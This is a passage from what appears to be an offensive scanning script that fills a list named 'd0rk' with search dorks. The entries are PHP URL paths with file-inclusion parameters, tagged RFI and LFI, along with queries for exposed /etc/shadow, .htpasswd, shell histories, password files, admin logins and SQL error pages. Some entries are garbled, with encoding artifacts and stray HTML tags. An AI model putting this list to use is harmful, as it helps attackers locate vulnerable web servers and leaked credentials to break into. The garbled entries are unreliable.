'/ppa/inc/functions.inc.php?config[pparootpath]', '/prepare.php?xcartdir', '/press.php?OpenPage', '/press.php?[]', '/press.php?abre', '/press.php?addr', '/press.php?basedir', '/press.php?category', '/press.php?channel', '/press.php?destino', '/press.php?dir', '/press.php?ev', '/press.php?get', '/press.php?goFile', '/press.php?home', '/press.php?i', '/press.php?id', '/press.php?inc', '/press.php?incl', '/press.php?include', '/press.php?ir', '/press.php?itemnav', '/press.php?lang', '/press.php?link', '/press.php?loader', '/press.php?menu', '/press.php?mid', '/press.php?middle', '/press.php?modo', '/press.php?module', '/press.php?my', '/press.php?nivel', '/press.php?opcion', '/press.php?option', '/press.php?p', '/press.php?pa', '/press.php?page', '/press.php?pagina', '/press.php?panel', '/press.php?param', '/press.php?path', '/press.php?pg', '/press.php?pr', '/press.php?pref', '/press.php?redirect', '/press.php?root', '/press.php?rub', '/press.php?second', '/press.php?seite', '/press.php?strona', '/press.php?subject', '/press.php?t', '/press.php?thispage', '/press.php?to', '/press.php?type', '/press.php?where', '/press.php?xlink', '/presse.php?do', '/principal.php?abre', '/principal.php?addr', '/principal.php?b', '/principal.php?basepath', '/principal.php?choix', '/principal.php?cont', '/principal.php?conteudo', '/principal.php?corpo' ]
+d0rk += [ '/principal.php?d', '/principal.php?destino', '/principal.php?disp', '/principal.php?ev', '/principal.php?eval', '/principal.php?f', '/principal.php?filepath', '/principal.php?goto', '/principal.php?header', '/principal.php?home', '/principal.php?id', '/principal.php?in', '/principal.php?inc', '/principal.php?index', '/principal.php?ir', '/principal.php?ki', '/principal.php?l', '/principal.php?left', '/principal.php?link', '/principal.php?load', '/principal.php?loader', '/principal.php?loc', '/principal.php?menue', '/principal.php?middle', '/principal.php?middlePart', '/principal.php?module', '/principal.php?my', '/principal.php?n', '/principal.php?nivel', '/principal.php?oldal', '/principal.php?opcion', '/principal.php?p', '/principal.php?pag', '/principal.php?pagina', '/principal.php?param', '/principal.php?phpbbrootpath', '/principal.php?poll', '/principal.php?pr', '/principal.php?pre', '/principal.php?pref', '/principal.php?q', '/principal.php?read', '/principal.php?recipe', '/principal.php?ref', '/principal.php?rub', '/principal.php?s', '/principal.php?secc', '/principal.php?seccion', '/principal.php?seite', '/principal.php?strona', '/principal.php?subject', '/principal.php?tipo', '/principal.php?to', '/principal.php?type', '/principal.php?url', '/principal.php?viewpage', '/principal.php?w', '/principal.php?z', '/print.php?', '/print.php?OpenPage', '/print.php?addr', '/print.php?basedir', '/print.php?basepath', '/print.php?category', '/print.php?chapter', '/print.php?choix', '/print.php?cont', '/print.php?dir', '/print.php?disp', '/print.php?doshow', '/print.php?g', '/print.php?goFile', '/print.php?goto', '/print.php?header', '/print.php?in', '/print.php?inc', '/print.php?itemnav', '/print.php?ki', '/print.php?l', '/print.php?left', '/print.php?link', '/print.php?loc', '/print.php?menu', '/print.php?menue', '/print.php?middle', '/print.php?middlePart', '/print.php?module', '/print.php?my', '/print.php?numero', '/print.php?opcion', '/print.php?open', '/print.php?option', '/print.php?p', '/print.php?pag', '/print.php?page', '/print.php?pager', '/print.php?param', '/print.php?path', '/print.php?play', '/print.php?poll', '/print.php?pre', '/print.php?r', '/print.php?read', '/print.php?root', '/print.php?rub', '/print.php?s', '/print.php?sekce', '/print.php?sivu', '/print.php?sp', '/print.php?str', '/print.php?strona', '/print.php?table', '/print.php?thispage', '/print.php?tipo', '/print.php?type', '/print.php?u', '/print.php?where', '/prod.php?prod', '/proddetail.php?prod', '/products.php?prod', '/produit.php?prod', '/produkt.php?prod', '/protection.php?actionlogout&siteurl', '/provider/auth.php?xcartdir', '/publicincludes/pubblocks/activecontent.php?vsDragonRootPath', '/publisher/', '/read.php?fpage', '/read.php?fpage/read.php?fpage', '/reporter.cgi?t', '/reports.php?sub', '/rss.php?phpraiddir', '/s.php?table', '/s1.php?ln', '/samples/search/queryhit.htm', '/scan', '/scripts/CGImail.exe', '/scripts/convert.bas', '/scripts/counter.exe', '/scripts/cpshost.dll', '/scripts/fpcount.exe', '/scripts/iisadmin/bdir.htr', '/scripts/iisadmin/ism.dll', '/scripts/iisadmin/tools/ctss.idc', '/scripts/iisadmin/tools/getdrvrs.exe', '/scripts/iisadmin/tools/mkilog.exe', '/scripts/issadmin/bdir.htr', '/scripts/perl', '/scripts/postinfo.asp', '/scripts/proxy/w3proxy.dll', '/scripts/samples/ctguestb.idc', '/scripts/samples/details.idc', '/scripts/samples/search/webhits.exe', '/scripts/tools/dsnform.exe', '/scripts/tools/getdrvrs.exe', '/scripts/tools/getdrvs.exe', '/scripts/tools/newdsn.exe', '/scripts/upload.asp', '/scripts/uploadn.asp', '/scripts/uploadx.asp', '/search', '/search.php?cutepath', '/search.php?exec', '/search97.vts', '/secure/.htaccess', '/secure/.wwwacl', '/sendpage.php?page', '/sendreminders.php?includedir', '/senetman/html/index.php?page', '/services.php?page', '/session/adminlogin', '/shop.cgi/page|/shop.pl/page', '/shop.php?prod', '/shop.pl/page', '/shoutbox/expanded.php?conf', '/show.php?abre', '/show.php?adresa', '/show.php?b', '/show.php?basedir', '/show.php?channel', '/show.php?chapter', '/show.php?cmd', '/show.php?corpo', '/show.php?d', '/show.php?disp', '/show.php?file', '/show.php?filepath', '/show.php?get', '/show.php?go', '/show.php?header', '/show.php?home', '/show.php?inc', '/show.php?incl', '/show.php?include', '/show.php?index', '/show.php?ir', '/show.php?j', '/show.php?ki', '/show.php?l', '/show.php?left', '/show.php?loader', '/show.php?m', '/show.php?mid', '/show.php?middlePart', '/show.php?modo', '/show.php?module', '/show.php?my', '/show.php?n', '/show.php?nivel', '/show.php?oldal', '/show.php?p', '/show.php?page', '/show.php?page1', '/show.php?pagina', '/show.php?param', '/show.php?path', '/show.php?play', '/show.php?pre', '/show.php?product', '/show.php?qry', '/show.php?r', '/show.php?read', '/show.php?recipe', '/show.php?redirect', '/show.php?root', '/show.php?seccion', '/show.php?second', '/show.php?sp', '/show.php?thispage', '/show.php?to', '/show.php?type', '/show.php?x', '/show.php?xlink', '/show.php?z', '/showfile.asp', '/shownews.php?cutepath', '/side.php?arq', '/side.php?table' ] 
+d0rk += [ '/side.php?vis', '/side/index.php?side', '/site.php?arq', '/site.php?meio', '/site.php?table', '/sitio.php?', '/sitio.php?abre', '/sitio.php?addr', '/sitio.php?category', '/sitio.php?chapter', '/sitio.php?content', '/sitio.php?destino', '/sitio.php?disp', '/sitio.php?doshow', '/sitio.php?e', '/sitio.php?ev', '/sitio.php?get', '/sitio.php?go', '/sitio.php?goFile', '/sitio.php?inc', '/sitio.php?incl', '/sitio.php?index', '/sitio.php?ir', '/sitio.php?left', '/sitio.php?menu', '/sitio.php?menue', '/sitio.php?mid', '/sitio.php?middlePart', '/sitio.php?modo', '/sitio.php?nivel', '/sitio.php?o', '/sitio.php?oldal', '/sitio.php?opcion', '/sitio.php?option', '/sitio.php?page', '/sitio.php?param', '/sitio.php?pg', '/sitio.php?pr', '/sitio.php?qry', '/sitio.php?r', '/sitio.php?read', '/sitio.php?recipe', '/sitio.php?redirect', '/sitio.php?root', '/sitio.php?rub', '/sitio.php?sec', '/sitio.php?secao', '/sitio.php?secc', '/sitio.php?section', '/sitio.php?sivu', '/sitio.php?sp', '/sitio.php?start', '/sitio.php?strona', '/sitio.php?t', '/sitio.php?tipo', '/skin/zerovote/askpassword.php?dir', '/skin/zerovote/error.php?dir', '/skin/zerovote/error.php?dirskin/zerovote/error.php', '/skins/advanced/advanced1.php?pluginpath[0]', '/slxweb.dll/external?namecustportal|webticketcust', '/smarty.php?xcartdir', '/smartyconfig.php?rootdir', '/smdata.dat', '/solpot.html?', '/source/mod/rss/channeledit.php?Codebase', '/source/mod/rss/post.php?Codebase', '/source/mod/rss/view.php?Codebase', '/source/mod/rss/viewitem.php?Codebase', '/sources/functions.php?CONFIG[mainpath]', '/sources/functions.php?CONFIG[mainpath]PoweredByScozNews', '/sources/functions.php?CONFIG[mainpath]ScozNews', '/sources/join.php?FORM[url]owned&CONFIG[captcha]1&CONFIG[path]', '/sources/join.php?FORM[url]owned&CONFIG[captcha]1&CONFIG[path]Aardvark', '/sources/join.php?FORM[url]owned&CONFIG[captcha]1&CONFIG[path]AardvarkTopSites', '/sources/join.php?FORM[url]owned&CONFIG[captcha]1&CONFIG[path]PoweredByAardvarkTopsitesPHP4.2.2', '/sources/post.php?filconfig', '/sources/template.php?CONFIG[mainpath]', '/sources/template.php?CONFIG[mainpath]PoweredByScozNews', '/sources/template.php?CONFIG[mainpath]ScozNews', '/spid/lang/lang.php?langpath', '/squirrelcart/cartcontent.php?cartisproot', '/squito/photolist.inc.php?photoroot', '/ssi/envout.bat', '/standard.php?', '/standard.php?[]', '/standard.php?abre', '/standard.php?action', '/standard.php?basedir', '/standard.php?channel', '/standard.php?chapter', '/standard.php?cmd', '/standard.php?cont', '/standard.php?destino', '/standard.php?dir', '/standard.php?e', '/standard.php?ev', '/standard.php?eval', '/standard.php?go', '/standard.php?goFile', '/standard.php?goto', '/standard.php?home', '/standard.php?in', '/standard.php?include', '/standard.php?index', '/standard.php?j', '/standard.php?lang', '/standard.php?link', '/standard.php?menu', '/standard.php?middle', '/standard.php?my', '/standard.php?numero', '/standard.php?oldal', '/standard.php?op', '/standard.php?open', '/standard.php?pagina', '/standard.php?panel', '/standard.php?param', '/standard.php?phpbbrootpath', '/standard.php?poll', '/standard.php?pr', '/standard.php?pre', '/standard.php?pref', '/standard.php?q', '/standard.php?qry', '/standard.php?ref', '/standard.php?s', '/standard.php?secc', '/standard.php?seccion', '/standard.php?section', '/standard.php?showpage', '/standard.php?sivu', '/standard.php?str', '/standard.php?subject', '/standard.php?url', '/standard.php?var', '/standard.php?viewpage', '/standard.php?w', '/standard.php?where', '/standard.php?xlink', '/standard.php?z', '/start.php?', '/start.php?abre', '/start.php?addr', '/start.php?adresa', '/start.php?b', '/start.php?basedir', '/start.php?basepath', '/start.php?chapter', '/start.php?cmd', '/start.php?corpo', '/start.php?destino', '/start.php?eval', '/start.php?go', '/start.php?header', '/start.php?home', '/start.php?id', '/start.php?in', '/start.php?include', '/start.php?index', '/start.php?ir', '/start.php?lang', '/start.php?load', '/start.php?loader', '/start.php?mid', '/start.php?mod', '/start.php?modo', '/start.php?module', '/start.php?nivel', '/start.php?o', '/start.php?oldal', '/start.php?op', '/start.php?option', '/start.php?p', '/start.php?pag', '/start.php?page', '/start.php?panel', '/start.php?param', '/start.php?pg', '/start.php?play', '/start.php?poll', '/start.php?root', '/start.php?rub', '/start.php?s', '/start.php?secao', '/start.php?seccion', '/start.php?seite', '/start.php?showpage', '/start.php?sivu', '/start.php?sp', '/start.php?str', '/start.php?strona', '/start.php?thispage', '/start.php?tipo', '/start.php?where', '/start.php?xlink', '/static.php?load', '/stphpapplication.php?STPHPLIBDIR', '/stphpbtnimage.php?STPHPLIBDIR', '/stphpform.php?STPHPLIBDIR', '/str.php?l', '/str.php?lang', '/str.php?ln', '/str.php?p', '/str.php?page', '/sub.php?', '/sub.php?OpenPage', '/sub.php?[]', '/sub.php?abre', '/sub.php?action', '/sub.php?adresa', '/sub.php?b', '/sub.php?basedir', '/sub.php?basepath', '/sub.php?category', '/sub.php?channel', '/sub.php?chapter', '/sub.php?cont', '/sub.php?content', '/sub.php?corpo' ]
+d0rk += [ '/sub.php?destino', '/sub.php?g', '/sub.php?go', '/sub.php?goFile', '/sub.php?header', '/sub.php?id', '/sub.php?include', '/sub.php?ir', '/sub.php?itemnav', '/sub.php?j', '/sub.php?k', '/sub.php?lang', '/sub.php?left', '/sub.php?link', '/sub.php?load', '/sub.php?menu', '/sub.php?menue', '/sub.php?mid', '/sub.php?middle', '/sub.php?mod', '/sub.php?modo', '/sub.php?module', '/sub.php?my', '/sub.php?oldal', '/sub.php?op', '/sub.php?open', '/sub.php?option', '/sub.php?p', '/sub.php?pa', '/sub.php?pag', '/sub.php?panel', '/sub.php?path', '/sub.php?phpbbrootpath', '/sub.php?play', '/sub.php?pre', '/sub.php?qry', '/sub.php?recipe', '/sub.php?root', '/sub.php?rub', '/sub.php?s', '/sub.php?sec', '/sub.php?secao', '/sub.php?secc', '/sub.php?seite', '/sub.php?sp', '/sub.php?str', '/sub.php?sub', '/sub.php?thispage', '/sub.php?u', '/sub.php?viewpage', '/sub.php?where', '/sub.php?z', '/support/faq/inc/pipe.php?HCLpath', '/support/mailling/maillist/inc/initdb.php?absolutepath', '/supportpage.cgi?file', '/surveys/survey.inc.php?path', '/surveys/survey.inc.php?pathsurveys', '/tags.php?BBCodeFile', '/tags.php?BBCodeFileTaggerLE', '/tags.php?BBCodeFileTaggerLEtags.php', '/tags.php?BBCodeFiletags.php', '/task.php?task', '/tellmatic/include/libchart1.1/libchart.php?tmincludepath', '/tempeg/phpgwapi/setup/tablesupdate.inc.php?appdir', '/template.php?', '/template.php?[]', '/template.php?a', '/template.php?addr', '/template.php?basedir', '/template.php?basepath', '/template.php?c', '/template.php?choix', '/template.php?cont', '/template.php?content', '/template.php?corpo', '/template.php?dir', '/template.php?doshow', '/template.php?e', '/template.php?f', '/template.php?goto', '/template.php?h', '/template.php?header', '/template.php?ir', '/template.php?k', '/template.php?lang', '/template.php?left', '/template.php?load', '/template.php?menue', '/template.php?mid', '/template.php?mod', '/template.php?nivel', '/template.php?o', '/template.php?op', '/template.php?opcion', '/template.php?pag', '/template.php?page', '/template.php?pagina', '/template.php?panel', '/template.php?param', '/template.php?path', '/template.php?play', '/template.php?pre', '/template.php?qry', '/template.php?ref', '/template.php?s', '/template.php?secao', '/template.php?second', '/template.php?section', '/template.php?seite', '/template.php?sekce', '/template.php?showpage', '/template.php?sp', '/template.php?str', '/template.php?t', '/template.php?thispage', '/template.php?tipo', '/template.php?viewpage', '/template.php?where', '/template.php?y', '/templates/headlinetemp.php?nstinc', '/templates/headlinetemp.php?nstincfusion', '/templates/headlinetemp.php?nstincfusionnewsmanagement', '/templates/headlinetemp.php?nstincfusionnewsmanagementsystem', '/templates/headlinetemp.php?nstincmanagement', '/templates/headlinetemp.php?nstincnews', '/templates/headlinetemp.php?nstincsystem', '/templates/mangobery/footer.sample.php?SitePath', '/templates/mangobery/footer.sample.php?SitePathMangobery', '/templates/mangobery/footer.sample.php?SitePathMangobery0.5.5', '/test.php?page', '/tikiwiki/tikigraphformula.php?w1&h1&s1&min1&max2&f[]x.tan.phpinfo&tpng&title', '/today.nsf', '/tools/sendreminders.php?includedir', '/tools/sendreminders.php?includedirallday.php?date', '/tools/sendreminders.php?includedirday.php?date', '/tools/sendreminders.php?noSet0&includedir', '/trans.php?trans', '/trans/trans.php?trans&p', '/trans/trans.php?trans&page', '/trans/trans.php?trans&pagephp?trans', '/trans/trans.php?trans&pphp?trans', '/trans/trans.php?transen&page', '/trans/trans.php?transen&pagephp?trans', '/trans/trans.php?transeng&page', '/trans/trans.php?transeng&pagephp?trans', '/trans/trans.php?transfr&page', '/trans/trans.php?transfr&pagephp?trans', '/trans/trans.php?transko&page', '/trans/trans.php?transko&pagephp?trans', '/tree.dat', '/tsep/include/colorswitch.php?tsepconfig[absPath]', '/tutorials/print.php?page', '/video.php?content', '/view.php?', '/view.php?[]', '/view.php?adresa', '/view.php?b', '/view.php?channel', '/view.php?chapter', '/view.php?choix', '/view.php?cmd', '/view.php?content', '/view.php?disp', '/view.php?get', '/view.php?go', '/view.php?goFile', '/view.php?goto', '/view.php?header', '/view.php?incl', '/view.php?ir', '/view.php?ki', '/view.php?lang', '/view.php?load', '/view.php?loader', '/view.php?mid', '/view.php?middle', '/view.php?mod', '/view.php?oldal', '/view.php?option', '/view.php?pag', '/view.php?page', '/view.php?panel', '/view.php?pg', '/view.php?phpbbrootpath', '/view.php?poll', '/view.php?pr', '/view.php?qry', '/view.php?recipe', '/view.php?redirect', '/view.php?sec', '/view.php?secao', '/view.php?seccion', '/view.php?second', '/view.php?seite', '/view.php?showpage', '/view.php?sp', '/view.php?str', '/view.php?sub', '/view.php?table', '/view.php?to', '/view.php?type', '/view.php?u', '/view.php?var', '/view.php?where', '/voir.php?inc', '/webedit.intextWebEditProfessionalhtml', '/ws/getevents.php?includedir', '/ws/getevents.php?includedir/WebCalendar/', '/ws/getevents.php?includedirWebCalendar', '/ws/getevents.php?includedirWebCalendarv0.9.45' ]
+d0rk += [ '/ws/getreminders.php?includedir', '/ws/getreminders.php?includedirWebCalendar', '/ws/getreminders.php?includedirWebCalendarv0.9.45', '/ws/login.php?includedir', '/ws/login.php?includedirWebCalendar', '/ws/login.php?includedirWebCalendarv0.9.45', '/wsftp.ini', '/wwwboard', '/wwwboard/passwd.txt</div></pre>', '/yabb/Members/Admin.dat', '/yabbse/Sources/Packages.php?sourcedir', '/zentrack/index.php?configFile', '/zipndownload.php?PPPATH', '/zipndownload.php?PPPATHPhotoPost', '/zipndownload.php?PPPATHPhotoPostP', '/zipndownload.php?PPPATHPhotoPostPHP', '/zipndownload.php?PPPATHPhotoPostPHP4.6', '/zipndownload.php?PPPATHPoweredbyPhotoPostPHP4.6', '02/forumtopic.php?id', '0x3aversion', '1.myegerysite.org', '10.googlekietu/hitjs.phpkietu/hitjs.php', '10000intextwebmin', '10000�intextwebmin', '11.keywordPoweredbyphpBB2.0.6', '12.keywordpoweredbyCubeCart3.0.6', '1220/parsexml.cgi?', '13.keywordpoweredbypaBugs2.0Beta3', '14.keywordpoweredeyeOs', '14.poweredbyAshNewsAshNewsatau/ashnews.php', '15..php?bodyfile', '15.keyword/phorum/login.php', '16./includes/orderSuccess.inc.php?glob', '16.ihm.php?p', '17.forums.html', '18./default.php?pagehome', '1810OracleEnterpriseManager', '19./folder.php?id', '2.xgerysite.org', '20.main.php?pagina', '2000RemotelyAnywheresiterealvnc.com', '2082/frontenddemo',  '737en.php?id', '8./modules.php?namemyguests', '8003/Display?what', '8080312880filetypetxt', '8080�3128�80�filetypetxt', '9./Popper/index.php?', '94FBRADOBEPHOTOSHOP', '</div></pre>', '<divstylemargin3px>', '?act', '?action', '?cat', '?id', '?index.of?mp3NOMEARTISTA', '?index.of?mp3name', '?page', '?pagerequested', '?pid', 'ADSLConfigurationpage', 'AIMbuddylists', 'APIHOMEDIR', 'ARDetail.asp?ID', 'ASP.NETSessionIddatasource', 'ASP.loginaspxASP.NETSessionId', 'ASPDORK', 'ASPStatsGenerator.ASPStatsGenerator20032004weppos', 'ATadmin.cgi', 'ATgenerate.cgi', 'AboutMacOSPersonalWebSharing', 'Activex/default.htmDemo', 'AdminLoginadminloginblogware', 'AdminloginWebSiteAdministrationCopyright', 'AlternCDesktop', 'AnalysisConsoleforIncidentDatabases', 'Anillegalcharacterhasbeenfoundinthestatementpreviousmessage', 'AnunexpectedtokenENDOFSTATEMENTwasfound', 'AnyBoardIfyouareanewuserintextForum', 'AnyBoardgochatedu', 'ApacheStatusApacheServerStatusfor', 'ApacheStatusserverstatus|status.html|apache.html', 'ApacheTomcatErrorReport', 'AppServOpenProjectsitewww.appservnetwork.com', 'Asyntaxerrorhasoccurredfiletypeihtml', 'AthensAuthenticationPoint', 'AutoCreateTRUEpassword', 'AzureusJavaBitTorrentClientTracker', 'BNBTTrackerInfo', 'BelarcAdvisorCurrentProfileintextClickhereforBelarcsPCManagementproductsforlargeandsmallcompanies.', 'BelarcAdvisorCurrentProfileintextClickhereforBelarc�sPCManagementproductsforlargeandsmallcompanies.', 'BiTBOARDv2.0BiTSHiFTERSBulletinBoard', 'BigSisterOKAttentionTrouble', 'Blog/viewpost.php?id', 'Book.asp?bookID', 'Book.cfm?bookID', 'Book.php?bookID', 'BookDetails.asp?ID', 'BookDetails.cfm?ID', 'BookDetails.php?ID', 'Bookmarksbookmarks.htmlBookmarks', 'BrowseItemDetails.asp?StoreId', 'BrowseItemDetails.cfm?StoreId', 'BrowseItemDetails.php?StoreId', 'BrowserLaunchPage', 'CGIIRCLogin', 'CURRENTUSERusernameusernamesandotherinformat', 'CanonWebviewnetcams', 'Cantconnecttolocalwarning', 'Can�tconnecttolocalwarning', 'CatalogViewSummary.php?ID', 'CertificatePracticeStatementPDF|DOC', 'CertificatePracticeStatementfiletypePDF|DOC', 'ChatologicaMetaSearchstacktracking', 'CiscoCallManagerUserOptionsLogOnPleaseenteryourUserIDandPasswordinthespacesprovidedbelowandclicktheLogOnbuttontoco', 'Citrix/MetaFrame/default/default.aspx', 'Code', 'ColdFusionAdministratorLogin', 'ColdfusionErrorPages', 'Comersus.mdbdatabase', 'Company%20Info.php?id', 'ComputerScience.asp?id', 'ComputerScience.php?id', 'Configuration.Filesoftcart.exe', 'ConnectionStatusintextCurrentlogin', 'ConnectionTest.javafiletypehtml', 'ContentManagementSystemusername|password|adminMicrosoftIE5.5mambo', 'ContentManagementSystemusername|password|adminMicrosoftIE5.5�mambo', 'CopyrightcTektronixInc.printerstatus', 'Copyright�TektronixInc.printerstatus', 'Count.cgijj', 'CrazyWWWBoard.cgi', 'CrazyWWWBoard.cgiintextdetaileddebugginginformation', 'CuteNews2003..2005CutePHP', 'DUpaypalsiteduware.com', 'DWMailpassworddwmail', 'DefaultPLESKPage', 'DellRemoteAccessController', 'DocuShare', 'DocuSharedocushare/dsweb/faq' ] 
+d0rk += [ 'DocuSharedocushare/dsweb/faqgovedu', 'DocutekEResAdminLoginedu', 'Doncaster/events/event.php?ID', 'Duclassifiedsiteduware.comDUwareAllRightsreserved', 'Dudirectorysiteduware.com', 'Dumpingdatafortable', 'EXTRANETIdentification', 'EXTRANETlogin.edu.mil.gov', 'EZPartnernetpond', 'EasyFileSharingWebServer', 'EliteForumVersion.', 'Emergisoftwebapplicationsareapartofour', 'EmployeeIntranetLogin', 'ErrorDiagnosticInformationErrorOccurredWhile', 'ErrorOccurredTheerroroccurredinfiletypecfm', 'ErrorOccurredWhileProcessingRequestWHERESELECT|INSERTfiletypecfm', 'ErrorusingHypernewsServerSoftware', 'EstablishingasecureIntegratedLightsOutsessionwithORDataFrameBrowsernotHTTP1.1compatibleORHPIntegratedLights', 'EverFocus.EDSR.app<b>let', 'EverFocus.EDSR.applet', 'Executionofthiss?ri?tnotpermitted', 'FREE/poll.php?pid', 'FTProotat', 'FaqDetail.php?ID', 'FatalerrorCalltoundefinedfunctionreplythenext', 'FeaturedSite.php?id', 'FernandFaerie/index.asp?c', 'FernandFaerie/index.php?c', 'Fichiercontenantdesinformationssurler?seau', 'Financialspreadsheetsfinance.xls', 'Financialspreadsheetsfinances.xls', 'FlashOperatorPanelextphpwikicmsasternicsipANNOUNCElists', 'FrontPageextpwdservice|authors|administrators|users', 'FullStory.asp?Id', 'FullStory.php?Id', 'GRC.DATintextpassword', 'GT5/cardetails.php?id', 'Galleryinconfigurationmode', 'GangliaClusterReports', 'GatewayConfigurationMenu', 'GeneratedbyphpSystem', 'GetItems.asp?itemid', 'GetItems.cfm?itemid', 'GetItems.php?itemid', 'GradeMap/index.php?page', 'GradeMap/index.php?pageadmin.php?caldir', 'GroupOfficeEnteryourusernameandpasswordtologin', 'HPWBEMLogin|Youarebeingpromptedtoprovideloginaccountinformationfor|Pleaseprovidetheinformationrequestedandpress', 'HSTSNRnetop.com', 'HTTPFROMgooglebotgooglebot.comServerSoftware', 'HassanConsultingsShoppingCartVersion1.18', 'HassanConsulting�sShoppingCartVersion1.18', 'HistoryStore/pages/item.asp?itemID', 'HistoryStore/pages/item.php?itemID', 'HordeMyPortal[Tickets', 'HostVulnerabilitySummaryReport', 'HostingAcceleratorloginUsernamenewsdemo', 'ICQchatlogsplease...', 'ICQchatlogsplease�', 'IIS4.0errormessages', 'IISwebservererrormessages', 'IMPimp/index.php3', 'IMailServerWebMessaginglogin', 'INDEXU', 'INURLORALLINURLWITH', 'INURLORINURLWITH', 'ISPManUnauthorizedAccessprohibited', 'ITSSystemInformationPleaselogontotheSAPSystem', 'IcecastAdministrationAdminPage', 'IlohaMail', 'Incorrectsyntaxnear', 'Index.ofetcshadow', 'Index.ofetcshadowsitepasswd', 'Index.php?id', 'IndexOf/networklastmodified', 'IndexOfcookies.txtsize', 'IndexOfmaillogmaillogsize', 'Indexed.By|Monitored.ByhAcxFtpScan', 'Indexof..etcpasswd', 'Indexof.bashhistory', 'Indexof.htpasswdhtgroupdistapachehtpasswd.c', 'Indexof.mysqlhistory', 'Indexof.shhistory', 'Indexof/.htaccess', 'Indexof/admin', 'Indexof/backup', 'Indexof/chat/logs', 'Indexof/mail', 'Indexof/passwd', 'Indexof/password', 'Indexof/password.txt', 'Indexofcfide', 'Indexofpasswordsmodified', 'IndexofphpMyAdmin', 'Indexofscserv.confscservcontent', 'Indexofspwd.dbpasswdpam.conf', 'Indexofuploadsizeparentdirectory', 'InstalledObjectsScannerdefault.asp', 'Interior/productlist.asp?id', 'Interior/productlist.php?id', 'InternalServerError', 'InternalServerErrorserverat', 'InvisionPowerBoardDatabaseError', 'JetboxOneCMS?|', 'JetboxOneCMS�?|', 'Jetstream?', 'JoomlaWebInstaller', 'KM/BOARD/readboard.asp?id', 'KM/BOARD/readboard.php?id', 'KeyWordNukeETCopyright2004porTruzone.orall.edu./modules.php?nameallmyguestsorpoweredbyAllMyGuests', 'KeywordpoweredbyAllMyLinks', 'KurantCorporationStoreSensefiletypebok', 'LOGREPLogfilereportingsystemsiteitefix.no', 'LeapFTPindex.of./sites.inimodified', 'LinkDepartment', 'Links/browse.php?id', 'List.asp?CatID', 'List.cfm?CatID', 'List.php?CatID', 'ListMailLoginadmindemo', 'Login', 'LoginForum', 'LoginSunCobaltRaQ', 'LoginWebmailer', 'LoginintextRTis?Copyright', 'LogintoCacti', 'LogintoCalendar', 'LogintoMailextpl|indexdwaffleman', 'LogintoUsermin20000', 'Logintotheforumswww.aimoo.comlogin.cfm?id', 'LookingGlass', 'LotusDominoaddressbooks', 'MXControlConsoleIfyoucantremember', 'MXControlConsoleIfyoucan�tremember', 'MYSQLerrormessagesuppliedargument....', 'MYSQLerrormessagesuppliedargument�.', 'MacHTTPfiletypelogmachttp.log', 'MailManLogin', 'MailServerCMailServerWebmail5.2', 'MailServerCMailServerWebmail5.2�', 'ManyServers.htm', 'MecuryVersionInfastructureGroup', 'MemberLoginNOTEYourbrowsermusthavecookiesenabledinordertologintothesite.extphpORextcgi', 'MerakMailServerSoftware.gov.mil.edusitemerakmailserver.com', 'MerakMailServerWebAdministrationihackstuff.com', 'MicrosoftCRMUnsupportedBrowserVersion', 'MicrosoftMoneyDataFiles', 'MicrosoftRWindowsTMVersionDrWtsn32C', 'MicrosoftRWindowsTMVersionDrWtsn32CopyrightCextlog', 'MicrosoftSiteServerAnalysis', 'MidmartMessageboardAdministratorLogin', 'MikroTikRouterOSManagingWebpage', 'MobilePublisherPHP', 'MonsterTopListMTLnumrange200', 'MoreDetails.asp?id', 'MoreDetails.php?id', 'MoreInfoaboutMetaCartFree', 'MostSubmittedFormsandScriptsthissection', 'MostSubmittedFormsands?ri?tsthissection', 'MultimonUPSstatuspage', 'MvBlogpowered', 'MySQLtabledatadumps' ] 
+d0rk += [ 'MyeGery/public/displayCategory.php?basepath', 'NessusScanReportThisfilewasgeneratedbyNessus', 'NetscapeApplicationServerErrorpage', 'NetworkHostAssessmentReportInternetScanner', 'NetworkVulnerabilityAssessmentReport', 'News/pressrelease.php?id', 'NickServregistrationpasswords', 'NmConsole/Login.asp|LoginIpswitchWhatsUpProfessional2005|intextIpswitchWhatsUpProfessional2005SP1IpswitchInc', 'Node.ListWin32.Version.3.11', 'NovellNetWareintextnetwaremanagementportalversion', 'NovellWebAccessCopyrightNovellInc', 'NovellWebServicesGroupWisedoc/11924.mil.edu.govfiletypepdf', 'NovellWebServicesGroupWisedoc/11924�.mil.edu.govfiletypepdf', 'NovellWebServicesintextSelectaserviceandalanguage.', 'OPENSRSDomainManagementmanage.cgi', 'ORA00921unexpectedendofSQLcommand', 'ORA00933SQLcommandnotproperlyended', 'ORA00936missingexpression', 'ORA12541TNSnolistenererroroccurred', 'OWAPublicFoldersdirectview', 'OfficeConnectCable/DSLGatewayintextCheckingyourbrowser', 'OnLineRecruitmentProgramLogin', 'OrderForm.asp?Cart', 'OrderForm.cfm?Cart', 'OrderForm.php?Cart', 'OutlookWebAccessabetterway', 'OutputproducedbySysWatch', 'Ovislinkprivate/login', 'PCMA/productDetail.php?prodId', 'PHPAdvancedTransferindex.php|showrecent.php', 'PHPAdvancedTransferlogin.php', 'PHPBTTrackerStatistics|PHPBTTrackerStatistics', 'PHPapplicationwarningsfailingincludepath', 'PHPhotoalbumStatistics', 'PHPhotoalbumUpload', 'PHProjektloginloginpassword', 'POWEREDBYHITJAMMER1.0!', 'PRTGTrafficGrapherallsensors|PRTGTrafficGrapherMonitoringResults', 'Packages.php?sourcedir', 'Pageid', 'Pages/whichArticle.asp?id', 'Pages/whichArticle.php?id', 'ParseerrorparseerrorunexpectedTVARIABLEonlinefiletypephp', 'PeoplesMSNcontactlists', 'Philex0.2s?ri?tsitefreelists.org', 'PhorumAdminDatabaseConnectionforumadmin', 'PhotoPostPHPUpload', 'PhpMyExplorerindex.phpcvs', 'Pleaseauthenticateyourselftogetaccesstothemanagementinterface', 'Pleaseenteravalidpassword!polladmin', 'PleaseloginForums', 'Pleaseloginwithadminpassleaksourceforge', 'PostgreSQLqueryfailedERRORparserparseerror', 'PoweredByScozNews', 'PoweredbyUebiMiausitesourceforge.net', 'PoweredbymnoGoSearchfreewebsearchenginesoftware', 'Product.php?Showproduct', 'Products/Catsub.php?recordID', 'Products/mfr.php?mfg', 'Products/products.php?showonly', 'Proxy.txt', 'QueryDescription', 'Quickendatafiles', 'Quote.asp?bookID', 'RFI', 'RFIANDLFI', 'Range.php?rangeID', 'RedKernel', 'RemoteDesktopWebConnection', 'RemoteDesktopWebConnectiontsweb', 'RequestDetailsControlTreeServerVariables', 'RetinaReportCONFIDENTIALINFORMATION', 'RunninginChildmode', 